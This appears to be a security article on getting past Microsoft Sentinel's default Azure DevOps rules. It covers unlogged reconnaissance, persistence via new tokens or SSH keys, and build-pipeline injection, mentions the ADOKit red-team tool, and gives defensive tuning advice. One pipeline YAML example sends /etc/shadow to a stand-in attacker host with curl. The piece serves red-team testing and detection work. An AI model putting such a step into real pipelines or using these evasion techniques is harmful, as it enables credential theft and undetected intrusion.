Bypassing Microsoft Sentinel: Abusing Azure DevOps for Stealthy Persistence

TLDR: Azure DevOps services are frequently misconfigured, allowing attackers to perform reconnaissance and maintain persistence without triggering default Microsoft Sentinel alerts. By manipulating pipeline configurations and abusing authentication cookies, researchers can move laterally into on-premise infrastructure. Security teams must move beyond default detection rules and implement proactive secret scanning to secure their CI/CD pipelines.

Cloud-based CI/CD platforms are the new crown jewels for attackers. If you compromise an Azure DevOps instance, you are not just looking at source code; you are looking at the keys to the kingdom. You have access to build secrets, service connections, and the ability to inject malicious code directly into the production deployment pipeline. Despite this, many organizations treat their DevOps environment as a secondary concern, relying on default detection rules that are easily bypassed.

The Mechanics of the Bypass

Most security teams rely on Microsoft Sentinel to monitor their cloud environments. However, the default analytic rules for Azure DevOps are often too narrow. They focus on specific, high-noise events while ignoring the subtle, low-and-slow techniques that characterize a real-world intrusion.

For instance, reconnaissance activities like listing projects, repositories, or users are often not considered "auditable events" by the platform. Because these actions do not generate logs in the AzureDevOpsAuditing schema, they remain invisible to standard Sentinel queries. An attacker can map out the entire organization, identify high-value repositories, and locate hardcoded credentials without ever tripping an alarm.

Persistence is equally straightforward. Once an attacker gains initial access—perhaps through a stolen session cookie or a compromised developer workstation—they can create a new Personal Access Token (PAT) or add an SSH key. Because the creation of these credentials is a standard administrative task, it rarely triggers a high-severity alert unless the organization has specifically tuned its monitoring to detect anomalous credential creation.

Exploiting the Pipeline

The real power lies in the pipeline itself. If you have the right permissions, you can modify the azure-pipelines.yml file in the root of a repository. This file defines the build process. By injecting a simple script, you can force the pipeline to execute arbitrary commands on the build agent.

steps:
- script: |
    echo "Executing malicious task"
    # Add your payload here
    curl -X POST -d @/etc/shadow http://attacker-c2.com/exfil

If the project uses a self-hosted agent, this is a game-changer. A self-hosted agent runs on infrastructure controlled by the organization, often with direct network access to internal resources like Active Directory or sensitive databases. By compromising the pipeline, you effectively pivot from the cloud into the internal network.

Practical Tooling for Pentesters

To help researchers and red teamers test their own environments, ADOKit was released to automate these attack vectors. It is a C# command-line tool that handles the heavy lifting of interacting with the Azure DevOps REST API. Whether you need to perform reconnaissance, create persistence, or extract build variables, ADOKit provides a modular framework to do it programmatically.

For example, if you have a stolen session cookie, you can use ADOKit to check the validity of your access and then proceed to enumerate the environment. The tool supports both PATs and cookies, making it highly effective for engagements where you have already established a foothold on a developer's machine.

Defensive Realities

Defending against these attacks requires a shift in mindset. You cannot rely on "out-of-the-box" detection. Start by auditing your Azure DevOps security groups. Ensure that the principle of least privilege is strictly enforced. If a service account does not need to modify pipeline configurations, remove that permission immediately.

Furthermore, integrate a proactive secret scanning solution into your workflow. If you are still relying on manual code reviews to catch hardcoded API keys or connection strings, you are already behind. Tools that scan for secrets at commit time can prevent these credentials from ever reaching the repository in the first place.

Finally, tune your Sentinel rules. The default rules are a starting point, not a complete solution. You need to monitor for unusual administrative activity, such as the creation of PATs by users who do not typically perform such actions, or modifications to pipeline files by accounts that are not part of the core development team.

Security in the cloud is not about building a wall; it is about visibility. If you cannot see the attacker moving through your pipeline, you have already lost. Stop treating your CI/CD environment as a black box and start monitoring it with the same rigor you apply to your production servers. The next time you are on an engagement, look at the pipeline configuration files. You might find that the path to domain admin is shorter than you think.